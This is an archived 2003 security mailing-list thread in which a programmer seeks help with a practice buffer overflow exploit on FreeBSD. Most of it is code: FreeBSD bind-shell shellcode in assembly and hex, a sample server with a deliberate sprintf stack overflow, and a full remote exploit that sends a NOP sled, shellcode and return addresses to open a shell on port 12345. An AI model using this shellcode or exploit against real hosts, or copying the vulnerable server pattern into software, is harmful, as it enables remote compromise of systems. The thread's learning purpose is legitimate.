RE: sample buffer overflow exploit problem

From: Ganbold (ganbold_at_micom.mng.net)
Date: 09/30/03

  • Next message: Vade 79: "Re: sample buffer overflow exploit problem"
    Date: Tue, 30 Sep 2003 10:07:50 +0900
    To: "David LeBlanc" <dleblanc@Exchange.Microsoft.com>
    
    

    Hi,

    Thanks for reply. I tried port binding shellcode as application and it
    works fine.

    But when I try it in exploit, it binds port to shell but whenever I connect
    to it it just closes connection.

    Following is the code:

    /*
      * FreeBSD shellcode - binds /bin/sh to a port
      *
      * Claes M. Nyberg 20020619
      *
      * <cmn@darklab.org>, <md0claes@mdstud.chalmers.se>
      */

    #include <string.h>

    /*********************************************************************
    void
    main(void)
    {

    __asm__("
              # Length of address
              pushl $0x10 # addrlen = 16, sizeof(struct sockaddr_in)
              movl %esp, %ecx # ecx = &addrlen

              # Client address
              subl $0x10, %esp # 16 bytes of stack-crap
              movl %esp, %ebx # ebx = &client

              # Zero out and set up server address
              xorl %eax, %eax # eax = 0
              pushl %eax
              pushl %eax # sin_zero[8]
              pushl %eax # sin_addr.s_addr = INADDR_ANY
              pushw $0x3930 # Port (12345)
              movb $0x20, %ah # sin_family = AF_INET;
              pushw %ax #
              movl %esp, %edx # edx = &server

              # Create socket
              pushl $0x6 # IPPROTO_TCP
              pushl $0x1 # SOCK_STREAM
              pushl $0x2 # AF_INET
              pushl %eax # Dummy
              xorb %ah, %ah # ah = 0
              movb $0x61, %al # eax = 97 = SYS_socket
              int $0x80 # socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
              movl %eax, %edi # edi = (server_fd) server socket descriptor

              # Bind address to socket
              pushl $0x10 # addrlen (16)
              pushl %edx # &server
              pushl %eax # eax (server_fd)
              pushl %eax # Dummy
              movb $0x68, %al # eax = 104 = SYS_bind
              int $0x80 # bind(server_fd, &server, addrlen);

              # Listen
              xorl %eax, %eax # eax = 0
              pushl %eax # backlog = 0
              pushl %edi # (server_fd) server socket descriptor
              pushl %eax # Dummy
              addl $0x6a, %eax # eax = 106 = SYS_listen
              int $0x80 # listen(server_fd, 0);

              # Accept connection
              pushl %ecx # &addrlen
              pushl %ebx # &client
              pushl %edi # (server_fd) server socket descriptor
              pushl %eax # Dummy
              movb $0x1e, %al # eax = 30 = SYS_accept
              int $0x80 # accept(server_fd, &client, &addrlen);
              movl %eax, %ebx # ebx = (client_fd) client socket descriptor

              # Set up IO
              xorl %eax, %eax # eax = 0
              pushl %eax # STDIN_FILENO
              pushl %ebx # client_fd
              pushl %eax # Dummy
              movb $0x5a, %al # eax = 90 = SYS_dup2
              int $0x80 # dup2(client_fd, STDIN_FILENO);

              movb $0x1, %al # eax = 1
              pushl %eax # STDOUT_FILENO
              pushl %ebx # client_fd
              pushl %eax # Dummy
              addl $0x59, %eax # eax += 89, eax = 90 = SYS_dup2
              int $0x80 # dup2(client_fd, STDOUT_FILENO);

              movb $0x2, %al # eax = 2
              pushl %eax # STDERR_FILENO
              pushl %ebx # client_fd
              pushl %eax # Dummy
              addl $0x58, %eax # eax += 88, eax = 90 = SYS_dup2
              int $0x80 # dup2(client_fd, STDERR_FILENO);

              # Execve /bin/sh
              xorl %eax, %eax # eax = 0
              pushl %eax # string ends with NULL
              pushl $0x68732f2f # push 'hs//' (//sh)
              pushl $0x6e69622f # push 'nib/' (/bin)
              movl %esp, %ebx # ebx = argv[0] = string addr
              pushl %eax # argv[1] = NULL
              pushl %ebx # argv[0] = /bin//sh
              movl %esp, %edx # edx = &argv[0]
              pushl %eax # envp = NULL
              pushl %edx # &argv[0]
              pushl %ebx # *path = argv[0]
              pushl %eax # Dummy
              movb $0x3b, %al # al = 59 = SYS_execve
              int $0x80 # execve(argv[0], argv, NULL)

              # Exit if SYS_execve failed
              xorl %eax, %eax # eax = 0
              inc %eax # eax = 1
              pushl %eax # Exit value = 1
              pushl %eax # Dummy
              int $0x80 # exit(1) (eax = 1 = SYS_exit)
         ");
    }
    ******************************************************************/

    static char freebsd_code[] =

         /* Length of address */
         "\x6a\x10" /* pushl $0x10 */
         "\x89\xe1" /* movl %esp, %ecx */

         /* Client address */
         "\x83\xec\x10" /* subl $0x10, %esp */
         "\x89\xe3" /* movl %esp, %ebx */

         /* Zero out and set up server address */
         "\x31\xc0" /* xorl %eax, %eax */
         "\x50" /* pushl %eax */
         "\x50" /* pushl %eax */
         "\x50" /* pushl %eax */
         "\x66\x68\x30\x39" /* pushw $0x3930 << port (12345) */
         "\xb4\x20" /* movb $0x20, %ah */
         "\x66\x50" /* pushw %ax */
         "\x89\xe2" /* movl %esp, %edx */

         /* Create socket */
         "\x6a\x06" /* pushl $0x6 */
         "\x6a\x01" /* pushl $0x1 */
         "\x6a\x02" /* pushl $0x2 */
             "\x50" /* pushl %eax */
         "\x30\xe4" /* xorb %ah, %ah */
         "\xb0\x61" /* movb $0x61, %al */
         "\xcd\x80" /* int $0x80 */
         "\x89\xc7" /* movl %eax, %edi */

         /* Bind address to socket */
         "\x6a\x10" /* pushl $0x10 */
         "\x52" /* pushl %edx */
         "\x50" /* pushl %eax */
         "\x50" /* pushl %eax */
         "\xb0\x68" /* movb $0x68, %al */
         "\xcd\x80" /* int $0x80 */

         /* Listen */
         "\x31\xc0" /* xorl %eax, %eax */
         "\x50" /* pushl %eax */
         "\x57" /* pushl %edi */
         "\x50" /* pushl %eax */
         "\x83\xc0\x6a" /* addl $0x6a, %eax */
         "\xcd\x80" /* int $0x80 */

         /* Accept connection */
         "\x51" /* pushl %ecx */
         "\x53" /* pushl %ebx */
         "\x57" /* pushl %edi */
         "\x50" /* pushl %eax */
         "\xb0\x1e" /* movb $0x1e, %al */
         "\xcd\x80" /* int $0x80 */
         "\x89\xc3" /* movl %eax, %ebx */

         /* Set up IO */
         "\x31\xc0" /* xorl %eax, %eax */
         "\x50" /* pushl %eax */
         "\x53" /* pushl %ebx */
         "\x50" /* pushl %eax */
         "\xb0\x5a" /* movb $0x5a, %al */
         "\xcd\x80" /* int $0x80 */

         "\xb0\x01" /* movb $0x1, %al */
         "\x50" /* pushl %eax */
         "\x53" /* pushl %ebx */
         "\x50" /* pushl %eax */
         "\x83\xc0\x59" /* addl $0x59, %eax */
         "\xcd\x80" /* int $0x80 */

         "\xb0\x02" /* movb $0x2, %al */
         "\x50" /* pushl %eax */
         "\x53" /* pushl %ebx */
         "\x50" /* pushl %eax */
         "\x83\xc0\x58" /* addl $0x58, %eax */
         "\xcd\x80" /* int $0x80 */

         /* Execve /bin/sh */
         "\x31\xc0" /* xorl %eax, %eax */
         "\x50" /* pushl %eax */
         "\x68\x2f\x2f\x73\x68" /* pushl $0x68732f2f */
         "\x68\x2f\x62\x69\x6e" /* pushl $0x6e69622f */
         "\x89\xe3" /* movl %esp, %ebx */
         "\x50" /* pushl %eax */
         "\x53" /* pushl %ebx */
         "\x89\xe2" /* movl %esp, %edx */
         "\x50" /* pushl %eax */
         "\x52" /* pushl %edx */
         "\x53" /* pushl %ebx */
         "\x50" /* pushl %eax */
         "\xb0\x3b" /* movb $0x3b, %al */
         "\xcd\x80" /* int $0x80 */

         /* Exit if SYS_execve failed */
         "\x31\xc0" /* xorl %eax, %eax */
         "\x40" /* inc %eax */
         "\x50" /* pushl %eax */
         "\x50" /* pushl %eax */
         "\xcd\x80"; /* int $0x80 */

    static char _freebsd_code[] = /* port
    _______*/
             "\x6a\x10\x89\xe1\x83\xec\x10\x89\xe3\x31\xc0\x50\x50\x50\x66\x68\x30\x39"
             "\xb4\x20\x66\x50\x89\xe2\x6a\x06\x6a\x01\x6a\x02\x50\x30\xe4\xb0\x61\xcd"
             "\x80\x89\xc7\x6a\x10\x52\x50\x50\xb0\x68\xcd\x80\x31\xc0\x50\x57\x50\x83"
             "\xc0\x6a\xcd\x80\x51\x53\x57\x50\xb0\x1e\xcd\x80\x89\xc3\x31\xc0\x50\x53"
             "\x50\xb0\x5a\xcd\x80\xb0\x01\x50\x53\x50\x83\xc0\x59\xcd\x80\xb0\x02\x50"
             "\x53\x50\x83\xc0\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
             "\x69\x6e\x89\xe3\x50\x53\x89\xe2\x50\x52\x53\x50\xb0\x3b\xcd\x80\x31\xc0"
             "\x40\x50\x50\xcd\x80";

    int
    main(void)
    {
         int *ret;
         ret = (int *)&ret +2;
             printf("Shellcode length: %d\n", strlen(_freebsd_code));

         *ret = (int)_freebsd_code;
             return(1);
    }

    At 02:00 PM 9/29/2003 -0700, you wrote:
    >IMHO, try writing a plain app that does the same thing, and see if that
    >works. It would narrow it down to a problem with system configuration,
    >or a problem with your shell code. Just a guess...
    >
    >-----Original Message-----
    >From: Ganbold [mailto:ganbold@micom.mng.net]
    >Sent: Saturday, September 27, 2003 10:54 PM
    >To: deepcode .
    >Cc: vuln-dev@securityfocus.com
    >Subject: Re: sample buffer overflow exploit problem
    >
    >Hi,
    >
    >I'm trying to connect from same host where I run exploit and where
    >daemon
    >is running. So exploit seems bind port and afterwards when I'm trying to
    >
    >connect to port using :
    >telnet localhost 12345
    >it just drops and program or port binding just ends.
    >Should I try to connect it from different hosts?
    >
    >Ganbold
    >
    >
    >
    >At 11:37 PM 9/27/2003 -0300, you wrote:
    >
    > >You say that you can connect after the exploit, but then the connection
    >
    > >gets dropped immediately afterwards... is there a firewall in place?
    > >
    > >>From: Ganbold <ganbold@micom.mng.net>
    > >>To: vuln-dev@securityfocus.com
    > >>Subject: sample buffer overflow exploit problem
    > >>Date: Sat, 27 Sep 2003 16:54:59 +0900
    > >>
    > >>Hi,
    > >>
    > >>I'm very new to buffer overflow exploit technics and my boss wants me
    >to
    > >>thoroughly understand
    > >>how it works. I'm trying to exploit sample network server in FreeBSD
    >5.1
    > >>for this purpose.
    > >>When I try to exploit using execve /bin/sh (shellcode1), it works and
    > >>launches the shell in the remote machine.
    > >>However when I try to use port binding shell code, it binds shell to
    >the
    > >>port, but when I try to connect to
    > >>it, it just closes the connection. Also I can't connect to bind port
    > >>after sending buffer using following code snippets:
    > >>..............
    > >> printf("[-] Connecting to bindshell...\n");
    > >> remote.sin_family = AF_INET;
    > >> remote.sin_addr = *((struct in_addr *)host->h_addr);
    > >> remote.sin_port = htons(12345);
    > >> if (connect(s, (struct sockaddr *)&remote,
    >sizeof(remote))==-1)
    > >> {
    > >> close(s);
    > >> fprintf(stderr, "Error: connect\n");
    > >> return -1;
    > >> }
    > >> exec_sh(s);
    > >>...............
    > >>
    > >>I appreciate if somebody give me some help to solve this test problem.
    > >>Is there anywhere I can find detailed explanation about buffer
    >overflows
    > >>and working sample network exploits?
    > >>Is there anyway I can generate shellcodes in FreeBSD?
    > >>
    > >>I attached my sample server code and exploit code.
    > >>
    > >>thanks in advance,
    > >>
    > >>Ganbold Ts,
    > >>
    > >>senior programmer,
    > >>Micom Co., Ltd
    > >>Ulaanbaatar,
    > >>Mongolia
    > >>
    > >>
    > >>
    > >>Following is network server code:
    > >>----------------------------------------------------------------------
    >----------------------------------------------------------
    > >>#include <stdio.h>
    > >>#include <netinet/in.h>
    > >>#include <netdb.h>
    > >>#include <sys/socket.h>
    > >>#include <sys/types.h>
    > >>#include <errno.h>
    > >>
    > >>#define BUFFER_SIZE 1024
    > >>#define NAME_SIZE 2048
    > >>
    > >>int handle(int c)
    > >>{
    > >> char buffer[BUFFER_SIZE], name[NAME_SIZE];
    > >> int bytes;
    > >> strcpy(buffer, "Your name?: ");
    > >> bytes = send(c, buffer, strlen(buffer), 0);
    > >> if (bytes == -1)
    > >> return -1;
    > >> bytes = recv(c, name, sizeof(name), 0);
    > >> if (bytes == -1)
    > >> return -1;
    > >> name[bytes - 1] = '\0';
    > >> sprintf(buffer, "Hello %s, nice to meet you!\r\n", name);
    > >> bytes = send(c, buffer, strlen(buffer), 0);
    > >> if (bytes == -1)
    > >> return -1;
    > >> return 0;
    > >>}
    > >>
    > >>
    > >>int main(int argc, char *argv[])
    > >>{
    > >> int s, c, cli_size;
    > >> struct sockaddr_in srv, cli;
    > >> if (argc != 2)
    > >> {
    > >> fprintf(stderr, "usage: %s port\n", argv[0]);
    > >> return 1;
    > >> }
    > >> s = socket(AF_INET, SOCK_STREAM, 0);
    > >> if (s == -1)
    > >> {
    > >> perror("socket() failed");
    > >> return 2;
    > >> }
    > >> srv.sin_addr.s_addr = INADDR_ANY;
    > >> srv.sin_port = htons( (unsigned short int) atol(argv[1]));
    > >> srv.sin_family = AF_INET;
    > >> if (bind(s, &srv, sizeof(srv)) == -1)
    > >> {
    > >> perror("bind() failed");
    > >> return 3;
    > >> }
    > >> if (listen(s, 3) == -1)
    > >> {
    > >> perror("listen() failed");
    > >> return 4;
    > >> }
    > >> for(;;)
    > >> {
    > >> c = accept(s, &cli, &cli_size);
    > >> if (c == -1)
    > >> {
    > >> perror("accept() failed");
    > >> return 5;
    > >> }
    > >> fprintf(stderr,"client from %s\n",
    >inet_ntoa(cli.sin_addr));
    > >> if (handle(c) == -1)
    > >> fprintf(stderr, "%s: handle() failed",
    >argv[0]);
    > >> close(c);
    > >> }
    > >> return 0;
    > >>}
    > >>----------------------------------------------------------------------
    >----------------------------------------------------------
    > >>
    > >>Following is the sample exploit code:
    > >>----------------------------------------------------------------------
    >----------------------------------------------------------
    > >>#include <stdio.h>
    > >>#include <netinet/in.h>
    > >>#include <netdb.h>
    > >>#include <sys/socket.h>
    > >>#include <sys/types.h>
    > >>#include <errno.h>
    > >>#include <unistd.h>
    > >>
    > >>/*
    > >> * FreeBSD shellcode - binds /bin/sh to a port 12345
    > >> *
    > >> * Claes M. Nyberg 20020619
    > >> *
    > >> * <cmn@darklab.org>, <md0claes@mdstud.chalmers.se>
    > >> */
    > >>char shellcode[] = /* port _______*/
    > >>
    > >>"\x6a\x10\x89\xe1\x83\xec\x10\x89\xe3\x31\xc0\x50\x50\x50\x66\x68\x30\
    >x39"
    > >>
    > >>"\xb4\x20\x66\x50\x89\xe2\x6a\x06\x6a\x01\x6a\x02\x50\x30\xe4\xb0\x61\
    >xcd"
    > >>
    > >>"\x80\x89\xc7\x6a\x10\x52\x50\x50\xb0\x68\xcd\x80\x31\xc0\x50\x57\x50\
    >x83"
    > >>
    > >>"\xc0\x6a\xcd\x80\x51\x53\x57\x50\xb0\x1e\xcd\x80\x89\xc3\x31\xc0\x50\
    >x53"
    > >>
    > >>"\x50\xb0\x5a\xcd\x80\xb0\x01\x50\x53\x50\x83\xc0\x59\xcd\x80\xb0\x02\
    >x50"
    > >>
    > >>"\x53\x50\x83\xc0\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\
    >x62"
    > >>
    > >>"\x69\x6e\x89\xe3\x50\x53\x89\xe2\x50\x52\x53\x50\xb0\x3b\xcd\x80\x31\
    >xc0"
    > >> "\x40\x50\x50\xcd\x80";
    > >>
    > >>/*
    > >> * FreeBSD shellcode - execve /bin/sh
    > >> *
    > >> * Claes M. Nyberg 20020120
    > >> *
    > >> * <cmn@darklab.org>, <md0claes@mdstud.chalmers.se>
    > >> */
    > >>char shellcode1[] =
    > >> "\x31\xc0" /* xorl %eax, %eax */
    > >> "\x50" /* pushl %eax */
    > >> "\x68\x2f\x2f\x73\x68" /* pushl $0x68732f2f */
    > >> "\x68\x2f\x62\x69\x6e" /* pushl $0x6e69622f */
    > >> "\x89\xe3" /* movl %esp, %ebx */
    > >> "\x50" /* pushl %eax */
    > >> "\x53" /* pushl %ebx */
    > >> "\x89\xe2" /* movl %esp, %edx */
    > >> "\x50" /* pushl %eax */
    > >> "\x52" /* pushl %edx */
    > >> "\x53" /* pushl %ebx */
    > >> "\x50" /* pushl %eax */
    > >> "\xb0\x3b" /* movb $0x3b, %al */
    > >> "\xcd\x80" /* int $0x80 */
    > >> "\x31\xc0" /* xorl %eax, %eax */
    > >> "\x40" /* inc %eax */
    > >> "\x50" /* pushl %eax */
    > >> "\x50" /* pushl %eax */
    > >> "\xcd\x80"; /* int $0x80 */
    > >>
    > >>#define RET 0xbfbffa48
    > >>
    > >>int exec_sh(int sockfd)
    > >>{
    > >> char snd[4096],rcv[4096];
    > >> fd_set rset;
    > >> while(1)
    > >> {
    > >> FD_ZERO(&rset);
    > >> FD_SET(fileno(stdin),&rset);
    > >> FD_SET(sockfd,&rset);
    > >> select(255,&rset,NULL,NULL,NULL);
    > >> if(FD_ISSET(fileno(stdin),&rset))
    > >> {
    > >> memset(snd,0,sizeof(snd));
    > >> fgets(snd,sizeof(snd),stdin);
    > >> write(sockfd,snd,strlen(snd));
    > >> }
    > >> if(FD_ISSET(sockfd,&rset))
    > >> {
    > >> memset(rcv,0,sizeof(rcv));
    > >> if(read(sockfd,rcv,sizeof(rcv))<=0)
    > >> exit(0);
    > >> fputs(rcv,stdout);
    > >> }
    > >> }
    > >>}
    > >>
    > >>int main(int argc, char *argv[]) {
    > >>
    > >> char buffer[1064];
    > >> int s,t, i, size;
    > >> struct sockaddr_in remote;
    > >> struct hostent *host;
    > >>
    > >> if(argc != 3) {
    > >> printf("Usage: %s target-ip port\n", argv[0]);
    > >> return -1;
    > >> }
    > >>
    > >> // filling buffer with NOPs
    > >> memset(buffer, 0x90, 1064);
    > >>
    > >> //copying shellcode into buffer
    > >> memcpy(buffer+1001-sizeof(shellcode) , shellcode,
    > >> sizeof(shellcode));
    > >>
    > >> // the previous statement causes a unintential Nullbyte at
    > >> buffer[1000]
    > >> buffer[1000] = 0x90;
    > >>
    > >> // Copying the return address multiple times at the end of
    >the
    > >> buffer...
    > >> for(i=1022; i < 1059; i+=4) {
    > >> * ((int *) &buffer[i]) = RET;
    > >> }
    > >>
    > >> buffer[1063] = 0x0;
    > >>
    > >> //getting hostname
    > >>
    > >> host=gethostbyname(argv[1]);
    > >> if (host==NULL)
    > >> {
    > >> fprintf(stderr, "Unknown Host %s\n",argv[1]);
    > >> return -1;
    > >> }
    > >>
    > >> // creating socket...
    > >> s = socket(AF_INET, SOCK_STREAM, 0);
    > >> if (s < 0)
    > >> {
    > >> fprintf(stderr, "Error: Socket\n");
    > >> return -1;
    > >> }
    > >> remote.sin_family = AF_INET;
    > >> remote.sin_addr = *((struct in_addr *)host->h_addr);
    > >> remote.sin_port = htons(atoi(argv[2]));
    > >> // connecting with destination host
    > >> if (connect(s, (struct sockaddr *)&remote,
    >sizeof(remote))==-1)
    > >> {
    > >> close(s);
    > >> fprintf(stderr, "Error: connect\n");
    > >> return -1;
    > >> }
    > >> //sending exploit string
    > >> size = send(s, buffer, sizeof(buffer), 0);
    > >> if (size==-1)
    > >> {
    > >> close(s);
    > >> fprintf(stderr, "sending data failed\n");
    > >> return -1;
    > >> }
    > >>/*
    > >> printf("[-] Connecting to bindshell...\n");
    > >> remote.sin_family = AF_INET;
    > >> remote.sin_addr = *((struct in_addr *)host->h_addr);
    > >> remote.sin_port = htons(12345);
    > >> if (connect(s, (struct sockaddr *)&remote,
    >sizeof(remote))==-1)
    > >> {
    > >> close(s);
    > >> fprintf(stderr, "Error: connect\n");
    > >> return -1;
    > >> }
    > >> exec_sh(s);
    > >>*/
    > >> // closing socket
    > >> close(s);
    > >>}
    > >>
    > >>----------------------------------------------------------------------
    >----------------------------------------------------------
    > >>
    > >>
    > >
    > >_________________________________________________________________
    > >STOP MORE SPAM with the new MSN 8 and get 2 months FREE*
    > >http://join.msn.com/?page=features/junkmail
    > >
    > >


  • Next message: Vade 79: "Re: sample buffer overflow exploit problem"

    Relevant Pages

    • ANNOUNCE: DJGPP port of GNU Make 3.81 uploaded
      ... This is a port of GNU Make 3.81 to MSDOS/DJGPP. ... The are two kind of required djgpp specific changes to the sources: ... of the SHELL Makefile variable is no longer exported automatically. ...
      (comp.os.msdos.djgpp)
    • RE: Port 4662 exploitation
      ... shell, but to get a tcp header and know what services might be running ... arbitrary port is clearly a most valuable find. ... Stay Ahead of the Hacker Curve! ... Security Trends Report from Cenzic ...
      (Pen-Test)
    • Re: Application starting from boot-up
      ... When the application is started manually, this message appears on the Shell ... port, which is the main serial port on the board. ... want to copy in an update (using the cp command from a flash memory stick), ... the usual recommended way to develop an application for a system that has Linux ...
      (comp.os.linux.embedded)
    • Re: Application starting from boot-up
      ... starting it up from the Shell port. ... port, which is the main serial port on the board. ... is started from /etc/init.d/rcS script, then this message does not appear. ... a system that has Linux pre-installed and where I do not want to make any ...
      (comp.os.linux.embedded)
    • Re: IDLED Replacement?
      ... > I'm an OpenBSD V3.7 user, I use 3.7 for my production systems. ... The idled port ... and automatically end shell sessions that have been idle too ... both ksh and bash ...
      (comp.unix.admin)